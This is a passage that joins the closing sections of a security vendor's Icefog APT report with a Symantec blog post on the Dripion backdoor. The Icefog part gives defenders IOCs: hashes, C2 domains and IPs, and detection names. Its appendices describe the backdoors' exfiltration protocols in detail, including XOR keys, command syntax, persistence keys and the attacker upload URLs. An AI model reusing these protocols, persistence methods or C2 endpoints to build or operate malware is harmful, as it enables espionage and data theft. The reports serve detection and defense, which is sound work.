send mail by the older 2011 Icefog: 46 MITIGATION INFORMATION harrypottercommand001aol.com jd2command092aol.com jd2clientsendaol.com woshihero009aol.com mrmylcmd009aol.com defaultmail002aol.com IPs 122.10.87.252 113.10.136.228 103.246.245.130 Note: due to shared hosting, blocking IPs for Icefog C2s can cause false positives.
These IPs are known to point to dedicated hosting servers.
DETECTION NAMES BY K ASPERSKY PRODUCTS FOR ICEFOG BACKDOORS AND REL ATED TOOLS Backdoor.ASP.Ace.ah Backdoor.
Win32.Agent.dcjj Backdoor.
Win32.Agent.dcwq Backdoor.
Win32.Agent.dcww Backdoor.
Win32.CMDer.ct Backdoor.
Win32.Visel.ars Backdoor.
Win32.Visel.arx Exploit.MSWord.CVE-2010-3333.cg Exploit.MSWord.CVE-2010-3333.ci 47 MITIGATION INFORMATION Exploit.MSWord.CVE-2012-0158.ae Exploit.MSWord.CVE-2012-0158.az Exploit.MSWord.CVE-2012-0158.bu Exploit.
MSWord.
CVE-2012-0158.u Exploit.
Win32.CVE-2012-0158.j Exploit.
Win32.CVE-2012-0158.u Exploit.
WinHLP.Agent.d Trojan-Downloader.
Win32.Agent.ebie Trojan-Downloader.
Win32.Agent.gxmp Trojan-Downloader.
Win32.Agent.gzda Trojan-Downloader.
Win32.Agent.gznn Trojan-Downloader.
Win32.Agent.tenl Trojan-Downloader.
Win32.Agent.vigx Trojan-Downloader.
Win32.Agent.vkcs Trojan-Downloader.
Win32.Agent.wcpy Trojan-Downloader.
Win32.Agent.wqbl Trojan-Downloader.
Win32.Agent.wqdv Trojan-Downloader.
Win32.Agent.wqqz Trojan-Downloader.
Win32.Agent.xrlh Trojan-Downloader.
Win32.Agent.xsub Trojan-Downloader.
Win32.Agent.xyqw Trojan-Downloader.
Win32.Agent.yavh Trojan-Downloader.
Win32.Agent.yium 48 MITIGATION INFORMATION Trojan-Dropper.
Win32.Agent.gvfr Trojan-PSW.Win32.MailStealer.j Trojan-Spy.
Win32.Agent.bwdf Trojan-Spy.
Win32.Agent.bxeo Trojan.PHP.Agent.ax Trojan.
Win32.Genome.ydxx Trojan.
Win32.Icefog.
49 CONCLUSIONS CONCLUSIONS This paper describes Icefog, a small APT group which focuses on targets in South Korea and Japan.
The operation appears to have started in 2011 and increased in size and scope during each year.
Based on the victim profiles, the attackers appear to have an interest in the following sectors: Military Mass media and TV Shipbuilding and maritime operations Computers and software development Research companies Telecom operators Satellite operators Despite their relative lack of complexity, the attackers have successfully compromised targets belonging to these categories, with the largest number of victims being in South Korea.
The Icefog attackers have both Windows and Mac OS X backdoors at their disposal.
The Mac OS X backdoor currently remains largely undetected by security solutions and has  managed to infect several hundred victims worldwide.
The hit and run nature of this operation is one of the things that make it unusual.
While in other cases, victims remain infected for months or even years, and data is continuously exfiltrated, the Icefog attackers appear to know very well what they need from the victims.
Once the information is obtained, the victim is abandoned.
During the past years, we observed a large increase in the number of APTs which are hitting pretty much all types of victims and sectors.
In turn, this is coupled with an increased focus on sensitive information and corporate cyber-espionage.
In the future, we predict the number of small, focused APT-to-hire groups to grow, specializing in 50 CONCLUSIONS hit-and-run operations, a kind of cyber mercenaries of the modern world.
Recommendations on how to stay safe from such attacks (for both Windows and Mac OS X users): Update Java to the most recent version or, if you dont use Java, uninstall it.
Update Microsoft Windows and Microsoft Office to the latest versions.
Update all other third party software, such as Adobe Reader.
Be wary of clicking on links and opening attachments from unknown persons.
Windows users can install Microsoft EMET 4.0, a toolkit designed to help prevent hackers from gaining access to your system.
So far, we havent observed the use of zero-day vulnerabilities by the Icefog group to defend against those, although patches dont help, technologies such as AEP (Automatic Exploit Prevention) and DefaultDeny can be quite effective.
http://www.microsoft.com/en-us/download/details.aspx?id39273 AEP (Automatic Exploit Prevention) AEP (Automatic Exploit Prevention) http://eugene.kaspersky.com/2012/10/03/in-denial-about-deny-all/ 51 APPENDIX A APPENDIX A MALWARE MD5S SPEARPHISHING DOCUMENTS MD5 FILENAME KASPERSKY NAME 32e8d4b2f08aff883c8016b7ebd7c85b 1234567890.doc Exploit.
MSWord.
CVE-2012- 0158.u 219738275b9dfbef6be8b65473833e45 .xls Exploit.
MSWord.
CVE-2012- 0158.az 363bcf8bbf8ae7def65adcec0a755d45 n/a Exploit.
MSWord.
CVE-2012- 0158.u 3ce3e49e0e31e69b2aabcb3d7569a63c n/a Exploit.
MSWord.
CVE-2012- 0158.u c5f3d21cb19a4b2d03aa42e4bf43b79b 2345678901.doc Exploit.
MSWord.
CVE-2012- 0158.u b1241cd7a0d7d58d1182badd0adba8ab n/a Exploit.
MSWord.
CVE-2012- 0158.u 7ec89be945add54aa67009dbc12a9260 keikaku-201302.xls Exploit.
OLE2.Multigeneric.
gen eb4579f08cd270e496c70ddcaa29dacb CS130116-2 BARILOCHE( 057) MSB.
XLS Exploit.
OLE2.Multigeneric.
gen 5aaa057d3447a214e729276563d2f922 (130204).
xls Exploit.
MSWord.
CVE-2012- 0158.az DROPPERS MD5 COMPILEDON KASPERSKY NAME C2 8f816f4acc49f5ebba00d92437b42e85 2013-01-15 10:51:17 Trojan- Downloader.
Win32.Agent.xpxr asdfghjk.host2.5y6.
net/jd/upload.aspx (110.45.203.152 - KR) 52 APPENDIX A BACKDOORS MD5 COMPILEDON KASPERSKY NAME C2 f4ced221baf2a482e60baf374ab063be 2012-06-04 15:22:58 Trojan- Downloader.
Win32.Agent.vkcs www.kechospital.
com/jd/upload.
aspx 3a6feab7eb90b87cf5a4e08bce2572e8 2012-06-04 15:22:56 Trojan- Downloader.
Win32.Agent.vkcs www.kechospital.
com/jd/upload.
aspx 853096b7e1e4bdb9221875c30d9a15a0 2012-07-03 22:46:52 Trojan- Downloader.
Win32.Agent.wpuu mail.kechospital.
com/jd/upload.
aspx 2a106c694660891e0950493e3eedc42d 2013-06-19 09:43:17 Trojan- Downloader.
Win32.Agent.yium fruitloop.8.100911.
com/news/upload.
aspx 6d3d95137ef1ba5c6e15a4a95de8a546 2011-08-05 13:44:30 Trojan-Spy.
Win32.
Agent.bxeo www.cloudsbit.
com/jd2web/ upload.aspx 15a342cf2cc4fc5ae933d463f5d2196f 2011-08-05 08:46:17 Trojan-Spy.
Win32.
Agent.bxeo www.cloudsbit.
com/ko/upload.
aspx acc57cc72a8d129703b4914c408a15a1 2011-03-16 10:44:18 Trojan- Downloader.
Win32.Agent.tenl www.cloudsbit.
com/tt/upload.aspx 162b349be9c6d11c58cf163e211d891c 2011-07-22 02:51:45 Trojan- Downloader.
Win32.Agent.swbo www.cloudsbit.
com/jian3/upload.
aspx f7547f23bd2fd37b7d44e8617f629b49 2011-06-15 02:24:07 Trojan- Downloader.
Win32.Agent.gxmp www.cloudsbit.
com/hh/upload.
aspx c352c376968e8a1157fa425431776797 2013-01-16 16:51:32 Trojan- Downloader.
Win32.Agent.wqqz www.9-joy.net/jd/ upload.aspx 31a530fea411455b8844fe019ffb66cd 2013-01-16 16:51:34 Trojan- Downloader.
Win32.Agent.wqqz www.9-joy.net/jd/ upload.aspx 43678aa052ad677841bd2ef532ecd284 2013-06-21 02:43:48 Trojan- Downloader.
Win32.Agent.gznn minihouse.website.
iiswan.com/upload/ upload.aspx fa452f67c6bf8056b563690d61c4a4c6 2013-06-20 22:06:26 Backdoor.
Win32.
Agent.dcjj www.kreamnnd.
com:5600 (27.255.71.204) b21635b1b1fce93ff917d9308d4835fb 2013-01-23 08:30:51 Trojan- Downloader.
Win32.Agent.xsry newsceekjp.com/ jd/upload.aspx 53 APPENDIX A 2d6a82fdb59e38d63027beac28dc2813 2012-04-12 18:07:41 Trojan- Downloader.
Win32.Agent.vkcs www.setchon.com/ jd/upload.aspx beb9da03aff9386599625199a5a47b8d 2013-03-18 02:17:49 Trojan- Downloader.
Win32.Agent.xyqw mudain.net/jd/ upload.aspx 80405f5681f1e4f2de6e8c26ec20c14d 2012-01-17 05:55:18 Trojan- Downloader.
Win32.Agent.vigx pinganw.org/jd/ upload.aspx 2761c55bafa96d5814e847b665006e49 2012-07-17 18:16:19 Trojan- Downloader.
Win32.Agent.wpzp 199.192.154.124/ jd/upload.aspx 566b175ab355e6313ba0ca98b0146d84 2011-09-16 02:30:13 Trojan- Downloader.
Win32.Agent.tlod www.unikorean.
com/jd/upload.
aspx d421e0d74fa7035246c1ea51bd4d3114 2013-05-03 03:04:49 Trojan- Downloader.
Win32.Agent.yavh electk.net/jd/ upload.aspx 24751030c1fa40bd57988d4e6fe70117 2012-08-30 01:02:35 Trojan- Downloader.
Win32.Agent.wqqz www.625tongyi.
com/jd/upload.
aspx 392f5372ba3348ea1820df34c078f6c8 2013-01-08 23:10:42 Trojan- Downloader.
Win32.Agent.xpsf www.dotaplayers.
com/jd/upload.
aspx fba7b9ffd08110e37d2bdf77c0d8b806 2013-02-04 Trojan- Downloader.
Win32.Agent.xrlh 40yuan.8.100911.
com/jd/upload.
aspx 0e2694aea9d3de122611d88e37ffc7f0 2011-06-19 10:27:49 Trojan.
Win32.
Icefog.d www.chinauswatch.
net/test/upload.
asp 78d9ac9954516ac096992cf654caa1fc 2012-07-26 03:10:51 Trojan- Downloader.
Win32.Agent.gzda www.setchon.com/ jd/upload.aspx 387ae1e56fa48ec50a46394cc51acce7 2012-07-26 03:10:48 Trojan- Downloader.
Win32.Agent.xsub www.setchon.com/ jd/upload.aspx cd85a9a05538e89190d519703c9a1327 2012-10-16 19:41:52 Trojan.
Win32.
Icefog.b www.samyongonc.
com/jd/upload.
aspx f46eb126668dfc843a05958e71936b01 2011-09-23 03:35:50 Trojan.
Win32.
Icefog.b www.kevinsw.net/ jd2/upload.aspx 54 APPENDIX B APPENDIX B MALWARE TECHNICAL ANALYSIS ICEFOG T YPE 1 DESCRIPTION MD5 SIZE COMPILEDON BF13CCB777F7175ECD567E757ABCB0E4 79248 2013-06-19 12:43:17 SUMMARY The module is a non-packed Win32 PE DLL file compiled in Microsoft Visual C 8.0.
The module installs at WinDir\wdmaud.drv and is automatically loaded by explorer.exe on startup.
This technique is known as DLL search order hijacking, and abuses the fact that Windows Explorer will load this file from its own directory first, instead of the Windows SYSTEM folder.
It communicates with the CC server at icefog.8.100911.com (211.42.249.39) and passes collected information about victim, lets the operator download or upload files to and from the victim machines, execute system commands on the infected machines as well as execute additional malware components.
DETAILED DESCRIPTION After the DLL is loaded, it creates system mutex named myhorse_macfee.
If such mutex already exists, the module quits to avoid duplicate instances from running.
After that, it loads WinDir\wdmaud.drv (this DRV is loaded by explorer.exe on startup) and calls exported mymainfunc of its own module that creates a new thread responsible for the communication with CC.
The spawned thread collects information about the system such as user names, machine names, IP addresses, running processes, proxy settings, Windows versions, etc.
It produces a report that 55 APPENDIX B is later submitted to the CC server.
An example for such a report is shown below: Hostname: SYSTEM NAME IP: SYSTEM LOCAL IP ADDRESS Proxy: LOCAL PROXY SERVER User: USERNAME SystemDir: C:\WINDOWS\system32 OS Language Version: OS LANGUAGE ID System Version: OS VERSION Process: ID: 4 (?)
ID: 552 (\SystemRoot\System32\smss.exe) ... (List all running processes and their main executable file path) This information is then written to the file at TMP\tmp.dat.
Then, it checks if the TMP\msuc.dat file exists.
If it exists, the module creates a new thread that will load the file contents into memory and pass execution flow to the first byte of the loaded data in memory.
The contents of the tmp.dat is converted to wide char and XORed with key 0hh8979.
Immediately after, it is sent via HTTP/1.1 POST request to icefog.8.100911.com on port 80.
The full query string is the following: /news/upload.aspx?filepathinfofilenameHOSTNAME_HOSTIP.jpg.
Full HTTP headers: Host: icefog.8.100911.com User-Agent: MyAgent Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, / Accept-Language: en-us Content-Type: multipart/form-data Accept-Encoding: gzip, deflate 56 APPENDIX B Connection: Keep-Alive Cache-Control: no-cache CONTROL COMMANDS The module attempts to get icefog.8.100911.com/news/order/HOSTNAME_HOSTIP.jpg file with custom user agent mydownload.
The response is saved to file TMP \order.dat The content of order.dat is converted from widechar to multibyte string and is parsed for the following command strings: cmd_ upload_ download_ code_ If any of the commands above is found, the Trojan notifies the CC that the command was received by issuing the following POST request: Query string: /news/upload.
aspx?filepathorderfilenameHOSTNAME_HOSTIP.jpg Full HTTP/1.1 headers: Host: icefog.8.100911.com User agent: MyAgent Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, / Accept-Language: en-us Content-Type: multipart/form-data Accept-Encoding: gzip, deflate Connection: Keep-Alive Cache-Control: no-cache 57 APPENDIX B COMMAND CMD_ The cmd command expect a payload string (COMMAND) following the cmd_ prefix, so that the full command syntax looks like this: cmd_COMMAND.
It creates a new process with command line C:\windows\system32\cmd.exe /c COMMAND However, if COMMAND contains output redirection character , the executed command line will be as following: C:\windows\system32\cmd.exe /c command  TMP\ cmd1.dat.
After the process has finished its stdout output is sent to the CC via POST request to /news/upload.
aspx?filepathresultfilenameHOSTNAME_HOSTIP.jpg Host: icefog.8.100911.com User-Agent: MyAgent Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, / Accept-Language: en-us Content-Type: multipart/form-data Accept-Encoding: gzip, deflate Connection: Keep-Alive Cache-Control: no-cache The command-line output is converted to wide-char string and XORed using 0hh8979 string as the key.
COMMAND UPLOAD_ The command string format must be as following: upload_FILEPATH_FILENAME It attempts to fetch icefog.8.100911.com/news/order/FILENAME using user agent mydownload and saves the response to the local path specified in FILEPATH.
58 APPENDIX B After that it notifies the CC by sending HTTP/1.1 POST request Query string: /news/upload.aspx?filepathuploadfilenameFILENAME Full HTTP/1.1 headers: Host: icefog.8.100911.com User-Agent: MyAgent Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, / Accept-Language: en-us Content-Type: multipart/form-data Accept-Encoding: gzip, deflate Connection: Keep-Alive Cache-Control: no-cache COMMAND DOWNLOAD_ Download command format must be download_LOCALPATH\FILENAME/NAMEONSERVER The LOCALPATH\FILENAME file is opened and its content is prepared for uploading by converting ANSI data to Unicode and XORing using key 0hh8979.
The result is saved to TMP\tmpxor.dat The tmpxor.dat is uploaded via POST request to icefog.8.100911.com at port 80.
Query string: /news/upload.aspx?filepathdownloadfilenameHOSTNAME_ HOSTIP_NAMEONSERVER_FILESIZE.jpg.
Full HTTP/1.1 headers: Host: icefog.8.100911.com User-Agent: MyAgent Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, / Accept-Language: en-us Content-Type: multipart/form-data 59 APPENDIX B Accept-Encoding: gzip, deflate Connection: Keep-Alive Cache-Control: no-cache COMMAND CODE _ The code command format must be code_FILENAME A new thread is created that loads a local file, specified in FILENAME, to memory and passes the execution to the first byte of the loaded data.
NO COMMAND If no known command is parsed out of the server response, the Trojan notifies the server about being alive by issuing the following HTTP POST request: Query string: /news/upload.
aspx?filepathokfilenameHOSTNAME_HOSTIP.jpg Host: icefog.8.100911.com User-Agent: MyAgent Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, / Accept-Language: en-us Content-Type: multipart/form-data Accept-Encoding: gzip, deflate Connection: Keep-Alive Cache-Control: no-cache.
After that it sleeps for 150 seconds and starts the command-processing loop again.
60 APPENDIX C APPENDIX C THE ICEFOG-NG BOT DESCRIPTION In addition to the web-based Icefog malware samples, we have come across a variant of the Icefog bot which is based on a custom protocol working over a TCP session (port 5600 TCP) with its own desktop application that serves as a command-and-control center.
For reference, we called it Icefog-NG (New Generation).
We believe that the new generation of Icefog was created to improve bot response and to increase the efficiency of operations.
The previous web-based version of the bot had significant time lag during operation (up to 40 seconds), the new generation bot was created to solve the time lag issue.
MD5 SIZE COMPILEDON FA452F67C6BF8056B563690D61C4A4C6 86016 2013-06-21 01:06:26 SUMMARY The module is a non-packed Win32 PE Executable file compiled in Microsoft Visual C 2005.
It is a backdoor that is capable of collecting system information, download and upload files, execute commands.
DETAILED DESCRIPTION To enable automatic start during system boot, the malware adds and uses the following system registry value: HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadTMP\msloger.exe During start it checks if a file named TMP\AA.tmp exists.
If yes, it copies the file to TMP\ hwp.hwp.
Next it kills processes named hwp.exe and then opens hwp.hwp.
This is important step during first malware run which opens a decoy .hwp document.
This shows that the malware was designed to be installed from .hwp documents containing exploits.
61 APPENDIX C Then it copies TMP\Ab.tmp to TMP\msloger.exe.
After that the malware registers on the CC.
To do that, the malware connects to www.kreamnnd.
com on port 5600 and sends a registration message [Total message size: DWORD]SX[HOSTID length:WORD][HOSTID][Host Info Data Size: DWORD][Host Info Data] HOSTID is a string having system hostname and system IP joined by _: Hostname_IP.
The data is encrypted using XOR with key 9?i0h.
If the connection with CC is lost the bot can re-establish the session by sending [Total message size: DWORD]XT[Hostname length:WORD][HOSTNAME]_[IPADDR] CONTROL COMMANDS After connecting to the CC and sending the registration message the bot expects commands from the server.
These commands are described below.
COMMAND CMD This command is used to execute a command line.
The message has the following format: [Total Message Size: DWORD]SC[COMMAND] The bot checks if the COMMAND contains sleep then it sleeps for the specified time after sleep substring.
Otherwise, a new cmd.exe processes is spawned to execute the COMMAND.
If the command does not contain  the output will be directed to TMP\cmd1.dat and the result will be sent to the CC automatically using the following format: [Total Message Size: DWORD][cmd1.dat data] The TMP\cmd1.dat is deleted after the file is sent to the CC.
62 APPENDIX C COMMAND DOWNLOAD This command is used to download a file from the victim machine.
The message has the following format: [Total Message Size: DWORD]DL[FILEPATH] The server expects the bot to send a response message with the file size from victim bot [Total Message Size: DWORD]OK[File Size: DWORD] Then the server sends an acknowledgement message to the victim bot [Total Message Size: DWORD]OK The bot encrypts the contents of the file and saves it to TMP\mstmpdata.dat.
After that part it sends mstmpdata.dat file split in chunks of 0x4ffc each (the last one may be shorter than 0x4ffc).
Here is the format of that message: [Total Message Size: DWORD][File data no longer than 0x4ffc] The last message is repeated containing the next chunk of the file until end of file is reached.
COMMAND UPLOAD This command is used to upload a file from the CC to the bot.
The format of this command is the following: [Total Message Size: DWORD]UP[File Size: DWORD][Data Chunk SizeTotal Message Size field length, a hardcoded value of 0x5000: DWORD][File Name] The server expect an OK message from the bot [Total Message Size: DWORD]OK Then CC sends the first part of the file.
[
Total Message Size: DWORD][File data no longer than 0x4ffc] The server expects the OK message from the bot and transfers the next data chunk until the whole file is uploaded 63 APPENDIX C COMMAND SLEEP This command is used to suspend the CC connection thread for 1 second.
[
Total Message Size: DWORD]SL 64 APPENDIX D APPENDIX D THE MACFOG BOT DESCRIPTION The MacOS X malware uses the type 1 protocol, just as the Windows version of Icefog.
It has been distributed on various Internet message boards and forums as an  application called Img2icns.
There are two known malicious bundles, one contains the launcher and the backdoor modules, and another contains the dropper and the backdoor modules.
Once the user executes the malicious application bundle, the backdoor is copied to the users directory and the legitimate application is started as if there was no added malicious code.
MACFOG  L AUNCHER MODULE Filename: launchd Location in the bundle: Img2icns.app/Contents/MacOS/launchd File size: 23084 bytes Format: Mach-O Intel 64-bit executable MD5:  336de9428650c46b64ff699ab4a441bb The module is written in Objective C language and contains 4 classes: AppDelegate, UCHostInf, UCNet, UCUpDownload.
The latter three classes seem to be included from the backdoors source code but not used.
All functionality is implemented in the function AppDelegate - (void) applicationDidFinishLaunching:(id).
The module was created from the same source code as the dropper but instead of installing the backdoor module, it only executes the malicious payload and the decoy application: bundle path/Contents/Resources/.launchd.app bundle path/Contents/Resources/.Img2icns.app (the original Img2icns application, http://www.img2icnsapp.com/).
65 APPENDIX D MACFOG  DROPPER MODULE Filename: Img2icns Location in the bundle: Img2icns.app/Contents/MacOS/Img2icns File size: 23236 bytes Format: Mach-O Intel 64-bit executable MD5:  9f422bb6c00bb46fbfa3918ae3e9447a The module is written in Objective C language and contains 4 classes: AppDelegate, UCHostInf, UCNet, UCUpDownload.
The latter three classes seem to be included from the backdoors source code but not used.
All functionality is implemented in the function AppDelegate - (void) applicationDidFinishLaunching:(id).
The module copies its malicious bundle from Contents/Resources/.launchd.app to users home directory /Users/username and launches it, effectively activating the backdoor.
Then, it launches the legitimate part of the bundle, Contents/Resources/Img2icns.app that is the original Img2icns application (http://www.img2icnsapp.com/).
MACFOG  BACKDOOR MODULE Filename: launchd Location in the bundle: Img2icns.app/Contents/Resources/.launchd.app/Contents/ MacOS/launchd Location on disk: /Users/user name/.launchd.app/Contents/MacOS/launchd File size: 32748 bytes Format: Mach-O Intel 64-bit executable MD5:  cf1815491d41202eb8647341a8695e1e The module is written in Objective C language and contains 5 classes: AppDelegate, UCHostInf, UCNet, UCUpDownload, KEYLogger.
The KEYLogger class appears to be incomplete.
It is only able to get information about active modifier keys and writes data to a log file: HOME/Library/log.log 66 APPENDIX D When started, the module launches an application: applications bundle path/Contents/ Resources/.launchd.app This code seems to be reused from the dropper module.
Then, it proceeds with installation.
Once the installation is finished, it starts its main thread (UCServerThread function) in an infinite loop.
INSTALL ATION The module checks if its bundle directory is located in /Users/username/ and if not it copies the bundle to that directory.
It also writes the command rm -rf original bundle path to the file /Users/username/.launchd.
app/config.dat.
This command is then executed by the installed copy of the backdoor, effectively removing the original bundle directory.
Then, it creates a file HOME/Library/LaunchAgents/apple.launchd.plist with all the parameters required to launch the backdoor every time the system starts.
MAIN THREAD The module retrieves host information and host name and uploads this information to the C2 server.
All data sent to the CC server is encrypted with the hardcoded XOR key 0hh8979.
First, it makes a POST request with URL hxxp://appst0re.net/upload.
aspx?filepathokfilenamehostname.jpg.
After that, it requests commands from the CC server.
If no data was received, it tries again after sleeping for 120 seconds.
The module requests new commands by making a POST request to the CC server by URL hxxp:// appst0re.net/upload.aspx?filepathorderfilenamehostname.jpg and then executes the command: COMMAND DESCRIPTION upload Download the file from the CC server and save it to disk download Upload the file to the CC server cmd Execute command via popen function, upload results to the CC server 67 APPENDIX D Information retrieved from the system: host name OS name OS version string process information IP addresses system uptime host date/time CC server: hxxp://appst0re.net CC URLs: hxxp://appst0re.net/upload.aspx?filepathorder/ok/arbitrary namefilenamehostname.jpg CL ASS STRUCTURE AppDelegate (main) -[AppDelegate applicationDidFinishLaunching:] -[AppDelegate UCServerThread:] -[AppDelegate window] -[AppDelegate setWindow:] UCHostInf [UCHostInf GetHostName] [UCHostInf GetHostInfo] UCNet [UCNet HttpGet:PostData:Error:] [UCNet HttpGetSimple:Error:] [UCNet HttpPost:PostData:Error:] 68 APPENDIX D [UCNet HttpPostSimple:Error:] UCUpDownLoad [UCUpDownLoad UpLoadFile:FileName:FileData:] [UCUpDownLoad DownLoadFile:FileName:] KEYLogger [KEYLogger keyLogger] EXECUTIVE SUMMARY Attack Analysis Spear-phishing attacks - Microsoft Office exploits Spear-phishing attacks - Java exploits Spear-phishing attacks - HLP vector Spear-phishing attacks - HWP vector Attackers Modus Operandi Backdoor Information Lateral movement tools: Command and Control servers CC Servers Infrastructure Infection data and statistics Sinkhole Information Attribution Mitigation Information Indicators of Compromise (IOCs) Conclusions Appendix A Malware MD5s Appendix B Malware Technical Analysis Appendix C The Icefog-NG Bot Description Appendix D The Macfog Bot Description
March 28, 2016 Taiwan targeted with new cyberespionage back door Trojan symantec.com/connect/blogs/taiwan-targeted-new-cyberespionage-back-door-trojan Symantec Official Blog Backdoor.
Dripion was custom developed, deployed in a highly targeted fashion, and used command and control servers disguised as antivirus company websites.
By: Jon_DiMaggioSymantec Employee Created 29 Mar 2016 : View the indicators of compromise.
In late August 2015, Symantec identified a previously unknown back door Trojan (Backdoor.
Dripion) infecting organizations primarily located in Taiwan, as well as Brazil and the United States.
Dripion is custom-built, designed to steal information, and has been used sparingly in a limited number of targeted attacks.
The attackers behind this campaign went to some lengths to disguise their activities, including using domains names disguised as antivirus (AV) company websites for their command and control (CC) servers.
These attacks have some links to earlier attacks by a group called Budminer involving the Taidoor Trojan (Trojan.
Taidoor).
1/8 https://www.symantec.com/connect/blogs/taiwan-targeted-new-cyberespionage-back-door-trojan https://www.symantec.com/connect/user/jondimaggio https://www.symantec.com/connect/ja/node/3582391 https://www.symantec.com/connect/node/3581291connect-anchor-link-iocs https://www.symantec.com/security_response/writeup.jsp?docid2016-021718-5309-99 https://www.symantec.com/security_response/writeup.jsp?docid2011-072816-0504-99 The threat posed by custom malware such as Dripion illustrates the value of multilayered security.
Unknown threats may evade signature-based detection, but can be blocked by other detection tools which identify malicious behavior.
Background Our investigation began when we received three file hashes, which we determined to have the functionality of a back door with information-stealing capabilities.
The malware appeared to be new, rarely detected, and not publicly available.
As we analyzed the binary and compared it against other known back door Trojans, we realized this was custom-developed malware.
Developing a back door with information-stealing capabilities designed to evade detection requires both knowledge and funding.
Usually when we see a new back door Trojan like this, it is tied to organizations involved in cyberespionage campaigns.
Malware downloader One of the first steps taken when investigating malware is to determine how it is getting onto a victims computer.
Many publicly available downloaders exist however, only a few unique downloaders have been used over the past few years that have been exclusive to cyberespionage activity.
Since Dripion appeared to be used by a single attacker against a small target group, we wanted to determine if the downloader could provide additional evidence to help attribute the threat to any known threat groups.
The downloader was identified as Downloader.
Blugger (MD5: 260f19ef39d56373bb5590346d2c1811).
It is not a new piece of malware, having been in existence since at least 2011.
How the victim was infected with Blugger is currently unknown.
Blugger used encryption to make its infrastructure and commands queried in the URL requests harder to detect.
After decrypting however, we identified the following URL requests: http://classic-blog.
[REDACTED DOMAIN 1].com/nasyzk/20002630 http://nasyzk.
[REDACTED DOMAIN 2].net/blog/post/251315428 Both of the domains we analyzed in the URLs requested by the downloader are publicly accessible blogs.
The downloader contacts these blog URLs in order to retrieve Dripion for installation.
The blog posts are primarily in English yet most of the targets are based in Taiwan.
As illustrated in Figure 1, one of the blogs references US healthcare spending.
It is unknown if the attacker created the blog or simply compromised another to use in their attacks.
If the blog was compromised, then the attacker likely would not create posts themselves as it would show the blogs creator that something was awry.
If the blog was created by the attacker, it may be an attempt to develop a blog with topics that would likely be of interest to the intended target.
Most of the blogs were related to news events.
2/8 https://www.symantec.com/security_response/writeup.jsp?docid2011-030106-5750-99 Figure 1.
Screenshot of one of the blogs used to infect the victim with Dripion malware The Dripion back door Trojan Once Dripion is installed, the attacker can access the users computer.
Dripion has the functionally of a back door Trojan, letting attackers upload, download, and steal pre- determined information from the victim, and execute remote commands.
Information such as the victims computer name and IP address are automatically transmitted to the CC server upon the initial infection.
Command Description GoSleep Sleeps for 10 minutes GoKill Attempts to delete itself and ends its activities GoBye Disconnects from the computer nodata Similar to GoBye Command Execute command (lpCommandLine in CreateProcessA), redirect result through pipe to .tmp file and Download file UpFile Write data in file on victims computer DownFile Write data to a remote open file (InternetWriteFile).
The .tmp file used may be deleted after success operation.
ExecuteFile Create a new process (CreateProcessA) Table 1.
Commands associated with the Dripion malware 3/8 Additionally, the developer of the Dripion malware used XOR encoding for both the binary configuration file (XOR: 0xA8) as well as network requests with the CC server (XOR: 0xA3), to make detection more difficult.
Dripion has been identified in multiple variations and has version numbers hardcoded within the malware.
This indicates that the attackers have the ability to both create and develop their own custom malware as well as update their code to provide new capabilities and make detection more difficult.
Ties to previous cyberespionage activity The use of publicly accessible blogs to distribute malware is a tactic we have seen previously, but few cyberespionage groups have used this technique.
Fewer still have used this strategy to deliver custom-developed malware not often seen in the wild.
The first piece of evidence pointing towards a link with previous cyberespionage campaigns was the use of the Blugger downloader, which has only been used by a group Symantec calls Budminer.
This group has used Blugger to distribute its own custom malware known as Taidoor (Trojan.
Taidoor).
Symantec has previously written about Budminers Taidoor campaigns.
Significantly, this is the first time we have seen Blugger used to deliver malware other than Taidoor.
Further investigation uncovered a second tie with earlier Budminer activity.
One of the Blugger samples associated with Dripion connected with a root domain also used in Taidoor-related activity.
Figure 2.
Dripion and Taidoor share ties with the same root domain.
Both of the URL queries originated from the Blugger downloader which connected to the blog classic-blog.
[REDACTED DOMAIN 1].com.
They then call out to subdomains of the domain [REDACTED DOMAIN 3].net.
Both Dripion and Taidoor not only connected to the same 4/8 https://www.symantec.com/security_response/writeup.jsp?docid2011-072816-0504-99 http://www.symantec.com/connect/blogs/trojantaidoor-takes-aim-policy-think-tanks website (classic-blog.
[REDACTED DOMAIN 1].com) but also used the same URL (classic- blog.
[REDACTED DOMAIN 1].com /nasyzk/[ENCODED TEXT]) to obtain the encrypted CC configuration.
Targeting Symantec first identified activity involving Dripion in September 2015.
Based on the timestamp of the earliest known sample however, Dripion may have been in existence since 2013.
The Dripion activity that we have analyzed is extremely targeted and has involved far fewer victims compared to the number of users infected with Taidoor.
Figure 3.
Detection of unique Dripion and Taidoor file hashes by region The similarity between the two sets of activity is the number of unique file hashes found infecting users located in Taiwan.
Unfortunately, we need more data to determine if the timestamps associated with Dripion dating back to November 2013 (7ad3b2b6eee18af6816b6f4f7f7f71a6) are legitimate or if they have been forged.
The earliest known Dripion activity we were able to validate took place in November 2014.
Despite the one-year gap in activity, it is possible that campaigns involving Dripion happened during this period and went undetected due to its small target window.
Another interesting tactic used to deceive potential targets lies within the CC infrastructure.
The attackers created multiple domains with names similar to that of legitimate companies and websites in the antivirus community.
For example the domains hyydn.nortonsoft[.
]com and mhysix.mcfeesoft[.
]com were both CC domains used in attacks.
Using typo-squat domains to mimic legitimate sites is a tactic frequently used to trick the targets as well as defenders, in an effort to make the domains blend in with normal activity.
5/8 Conclusion We began this investigation with what we believed was a new campaign using an unidentified back door Trojan against targets primarily in Taiwan.
As the investigation grew we found multiple ties between this newly discovered attack and activity associated with the Budminer cyberespionage group: Same unique downloader (not publicly available and only seen used in China-based cyberespionage activity) The unique downloader used by both Dripion and Taidoor encrypts data using the victims MAC address as the RC4 key Use of the same blogs for distribution of malware (Taidoor and Dripion) Use of shared CC infrastructure (at the root domain level) Similar targeting (primary location of targets is Taiwan) We compared Dripion against Taidoor malware samples to determine if there was any shared code or if it may have originated from the same developer.
Our findings concluded there were no similarities between the two malware families.
However, the downloader used by both malware families has unique attributes, and we believe it to be from the same developer.
So what does all this mean?
Attribution of cyberespionage groups is difficult and needs to be done carefully based on fact and not assumptions.
We have a number of ties between the two sets of activity.
